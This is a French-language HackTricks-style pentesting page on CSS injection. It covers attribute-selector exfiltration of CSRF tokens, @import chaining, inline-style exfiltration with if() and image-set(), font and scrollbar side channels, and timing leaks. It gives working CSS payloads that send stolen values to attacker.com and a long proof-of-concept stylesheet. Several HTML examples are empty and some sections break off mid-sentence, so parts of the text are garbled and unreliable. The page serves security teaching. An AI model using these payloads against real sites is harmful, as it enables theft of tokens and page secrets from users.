# CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
## CSS Injection
### Attribute Selector
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si l'attribut `value` de l'élément `input` commence par un caractère spécifique, une ressource externe prédéfinie est chargée :
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
However, this approach faces a limitation when dealing with hidden input elements (`type="hidden"`) because hidden elements do not load backgrounds.
#### Contournement pour les éléments cachés
Pour contourner cette limitation, vous pouvez cibler un élément frère suivant en utilisant le combinator général de sibling `~`. La règle CSS s'applique alors à tous les frères suivant l'input caché, provoquant le chargement de l'image de fond :
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le voir [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Prérequis pour CSS Injection
Pour que la technique CSS Injection soit efficace, certaines conditions doivent être remplies :
1. **Payload Length**: Le vecteur de CSS injection doit supporter des payloads suffisamment longs pour accueillir les selectors conçus.
2. **CSS Re-evaluation**: Vous devez être capable d'encadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des payloads nouvellement générés.
3. **External Resources**: La technique suppose la possibilité d'utiliser des images hébergées à l'extérieur. Cela peut être restreint par la Content Security Policy (CSP) du site.
### Blind Attribute Selector
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
It's also possible to use those selectors to extract information from several block of the same type like in:
```html
```
En combinant cela avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS depuis des blind pages avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
La technique précédente présente quelques inconvénients, regardez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable d'**iframe la page vulnérable à l'injection CSS**.
Cependant, il existe une autre technique ingénieuse qui utilise **CSS `@import`** pour améliorer la qualité de la technique.
Cela a été montré pour la première fois par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et cela fonctionne ainsi :
Au lieu de charger la même page encore et encore avec des dizaines de payloads différents à chaque fois (comme dans la précédente), nous allons **charger la page une seule fois et seulement avec un import vers le serveur de l'attaquant** (c'est le payload à envoyer à la victime) :
```css
@import url("//attacker.com:5001/start?");
```
1. L'import va **recevoir un script CSS** des attaquants et le **navigateur le chargera**.
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants.**
1. Le serveur des attaquants ne répondra pas encore à cette requête, car nous voulons leak quelques caractères puis répondre à cet import avec la payload pour leak les suivants.
3. La seconde et plus grosse partie de la payload sera un **payload d'exfiltration par sélecteur d'attribut**
1. Ceci enverra au serveur des attaquants le **premier caractère du secret et le dernier**
4. Une fois que le serveur des attaquants aura reçu le **premier et le dernier caractère du secret**, il **répondra à l'import demandé à l'étape 2**.
1. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois elle tentera de **trouver le deuxième caractère du secret puis l'avant-dernier**.
L'attaquant va **suivre cette boucle jusqu'à ce qu'il réussisse à leak complètement le secret.**
Vous pouvez trouver le code original de [**Pepe Vila pour exploiter ceci ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](#css-injection)
> [!TIP]
> Le script va essayer de découvrir 2 caractères à la fois (depuis le début et depuis la fin) parce que le sélecteur d'attribut permet de faire des choses comme :
>
> ```css
> /* value^= to match the beggining of the value*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= to match the ending of the value*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> Cela permet au script de leak le secret plus rapidement.
> [!WARNING]
> Parfois le script **ne détecte pas correctement que le préfixe + le suffixe découverts correspondent déjà au flag complet** et il continuera en avant (dans le préfixe) et en arrière (dans le suffixe) et à un moment donné il se bloquera.\
> Aucun souci, vérifiez simplement la **sortie** car **vous pouvez voir le flag là**.
### Exfiltration CSS en style inline (attr() + if() + image-set())
Cette primitive permet l'exfiltration en n'utilisant que l'attribut style inline d'un élément, sans sélecteurs ni feuilles de style externes. Elle s'appuie sur les propriétés personnalisées CSS, la fonction attr() pour lire les attributs du même élément, les nouveaux conditionnels if() de CSS pour le branching, et image-set() pour déclencher une requête réseau qui encode la valeur correspondante.
> [!WARNING]
> Les comparaisons d'égalité dans if() exigent des guillemets doubles pour les littéraux de chaîne. Les guillemets simples ne correspondent pas.
- Sink: contrôler l'attribut style d'un élément et s'assurer que l'attribut ciblé est sur le même élément (attr() lit seulement les attributs du même élément).
- Read: copier l'attribut dans une variable CSS: `--val: attr(title)`.
- Decide: sélectionner une URL en utilisant des conditionnels imbriqués comparant la variable à des chaînes candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: appliquer `background: image-set(var(--steal))` (ou toute propriété provoquant une requête) pour forcer une requête vers l'endpoint choisi.
Attempt (does not work; single quotes in comparison):
```html
test
```
Payload fonctionnel (guillemets doubles requis dans la comparaison) :
```html
test
```
Énumération des valeurs d'attribut via des conditions imbriquées:
```html
```
Démonstration réaliste (sondage des noms d'utilisateur) :
```html
```
Notes et limitations :
- Fonctionne sur les navigateurs basés sur Chromium au moment de la recherche ; le comportement peut différer sur d'autres moteurs.
- Mieux adapté aux espaces de valeurs finis/énumérables (IDs, flags, short usernames). Le vol de chaînes arbitrairement longues sans feuilles de style externes reste difficile.
- Toute propriété CSS qui récupère une URL peut être utilisée pour déclencher la requête (par ex., background/image-set, border-image, list-style, cursor, content).
Automatisation : a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Autres sélecteurs
Autres manières d'accéder à des parties du DOM avec **CSS selectors** :
- **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
```
### Error based XS-Search
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
L'intention générale est d'**utiliser une police personnalisée provenant d'un endpoint contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**.
```html
```
1. **Utilisation de police personnalisée**:
- Une police personnalisée est définie en utilisant la règle `@font-face` dans une balise `
AB
htm
```
When you access this page, Chrome et Firefox fetch "?A" et "?B" parce que le nœud de texte de sensitive-information contient les caractères "A" et "B". Mais Chrome et Firefox ne fetch pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
### Text node exfiltration (I): ligatures
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
La technique décrite consiste à extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comporte plusieurs étapes :
1. **Creation of Custom Fonts**:
- Des polices SVG sont conçues avec des glyphes ayant un attribut `horiz-adv-x`, qui définit une grande largeur pour un glyphe représentant une séquence de deux caractères.
- Exemple de glyphe SVG : ``, où "XY" représente une séquence de deux caractères.
- Ces polices sont ensuite converties en format woff en utilisant fontforge.
2. **Detection of Width Changes**:
- Le CSS est utilisé pour empêcher le retour à la ligne (`white-space: nowrap`) et pour personnaliser le style de la scrollbar.
- L'apparition d'une scrollbar horizontale, stylée de manière distincte, sert d'indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
- Le CSS impliqué :
```css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
```
3. **Exploit Process**:
- **Étape 1** : Des polices sont créées pour des paires de caractères avec une largeur conséquente.
- **Étape 2** : Un tour avec la scrollbar est utilisé pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
- **Étape 3** : Lors de la détection d'une ligature, de nouveaux glyphes représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
- **Étape 4** : La détection de la ligature de trois caractères est effectuée.
- **Étape 5** : Le processus se répète, révélant progressivement tout le texte.
4. **Optimization**:
- La méthode d'initialisation actuelle utilisant `
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Le charset utilisé dans un nœud de texte peut être leaked en utilisant les polices par défaut installées dans le navigateur : aucune police externe ni personnalisée n'est nécessaire.
Le concept repose sur l'utilisation d'une animation pour élargir progressivement la largeur d'un div, permettant à un caractère à la fois de passer de la partie 'suffix' du texte à la partie 'prefix'. Ce processus divise efficacement le texte en deux sections :
1. **Préfixe** : la ligne initiale.
2. **Suffixe** : la/les ligne(s) suivante(s).
Les étapes de transition des caractères apparaîtraient comme suit :
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
Pendant cette transition, l'astuce `unicode-range` est employée pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le préfixe. Cela est réalisé en basculant la police sur Comic Sans, qui est nettement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette scrollbar révèle indirectement la présence d'un nouveau caractère dans le préfixe.
Bien que cette méthode permette de détecter les caractères uniques lorsqu'ils apparaissent, elle ne précise pas quel caractère est répété, seulement qu'une répétition a eu lieu.
> [!TIP]
> En gros, le **unicode-range** est utilisé pour détecter un caractère, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre façon.\
> Quand le **caractère** est **trouvé**, il se voit **attribuer** la police préinstallée **Comic Sans**, qui **agrandit** le caractère et **déclenche une barre de défilement** qui va **leak le caractère trouvé**.
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
**Reference:** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Ce cas est très similaire au précédent ; cependant, ici l'objectif de rendre certains **caractères plus grands que d'autres est de masquer quelque chose** comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. On peut donc mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
**Reference:** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Dans ce cas, nous pourrions essayer de leak si un caractère est dans le texte en chargeant une police factice depuis la même origine :
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
**Référence :** Ceci est mentionné comme [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Dans ce cas, vous pouvez indiquer du **CSS pour charger des centaines de fausses polices** depuis la même origine lorsqu'une correspondance se produit. De cette façon vous pouvez **mesurer le temps** que cela prend et déterminer si un caractère apparaît ou non avec quelque chose comme :
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
Et le code du bot ressemble à ceci :
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. En revanche, s'il y a une correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, entraînant une activité réseau continue. Il faudra donc plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Le temps de réponse peut ainsi être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.
## Références
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
{{#include ../../../banners/hacktricks-training.md}}